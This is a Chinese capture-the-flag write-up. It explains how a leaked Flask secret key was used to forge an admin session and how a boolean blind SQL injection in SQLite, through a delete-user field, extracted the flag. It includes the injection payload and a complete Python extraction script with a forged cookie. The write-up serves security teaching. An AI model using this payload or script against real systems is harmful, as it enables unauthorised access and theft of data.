首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >Sqlite3的二次盲注

Sqlite3的二次盲注

作者头像
安恒网络空间安全讲武堂
发布于 2018-12-29 11:18:29
发布于 2018-12-29 11:18:29
1.9K0
举报

进入页面,是一个留言板,查看 Http报文相应头,是 Flask框架

点击登录,可以利用弱密码登录:

user/user&&test/test,但是却没有办法进入管理页面,提示无权限


在扫描目录,以及爆破 admin用户密码均无果后,发现flag用户的图片外链是 github仓库,想到会存在源码泄露,于是查看作者的仓库:

查看这个月 push的仓库,发现了泄露的 secret key,并且注意到后端数据库是 Sqlite

利用私钥伪造管理员的 session token


进入管理后台后发现存在两个接口:

  • 添加用户
  • 删除用户

在一番尝试后,发现添加用户的接口后台应该是

insertintousers(username,passwdhash)values(xx,xx)

而在页面渲染的时候应该直接是 SQLAlchemy将数据 select*,然后进行遍历渲染,因为SQL语句中没有 where字句,所以想利用注册用户名进行二次注入是行不通的

并且在渲染时不存在 ssti,因为遇到 Jinja2引擎,第一想法当然是模版注入,但这里走不通


然后在一番 Google后,想到这里应该是 Sqlite数据库的盲注,但是经测试 sqlite数据库的延时函数 randomblob被过滤了,所以无法进行延时注入

结合这两个接口的功能,我们可以想到,可以利用删除用户的接口进行 Bool盲注:

  • 创建用户 iv4n
  • 删除用户 payload: iv4n' and (select hex(substr(flag,{i},1)) from flag)=hex('{j}')-- -

假如 and后的条件为真,即删除创建的 iv4n用户,通过查看返回页面是否存在字符串 iv4n进行布尔盲注,盲注脚本:

代码语言:javascript
复制
import requests

url = "http://172.93.39.218:8888/admin"
_cookies = {"session": "eyJuYW1lIjoiYWRtaW4ifQ.XB8bYA.JJ0tfi65cm3uS-ATDe9FNls4y_Y"}
flag = "flag{db"


for i in range(8, 50):
    r = requests.post(url, cookies=_cookies, data={"username": "iv4n", "password":"a"})
    for j in "1234567890qazxswedcvfrtgbnhyujmkiolp{}":
        r = requests.post(url, cookies=_cookies, data={
            "usernamedel": f"iv4n' and (select hex(substr(flag,{i},1)) from flag)=hex('{j}')-- -"
            })
        if "iv4n" not in r.text:
            flag += j
            break
    print(flag)

运行脚本,拿到flag

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-12-25,如有侵权请联系 cloudcommunity@tencent.com 删除
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档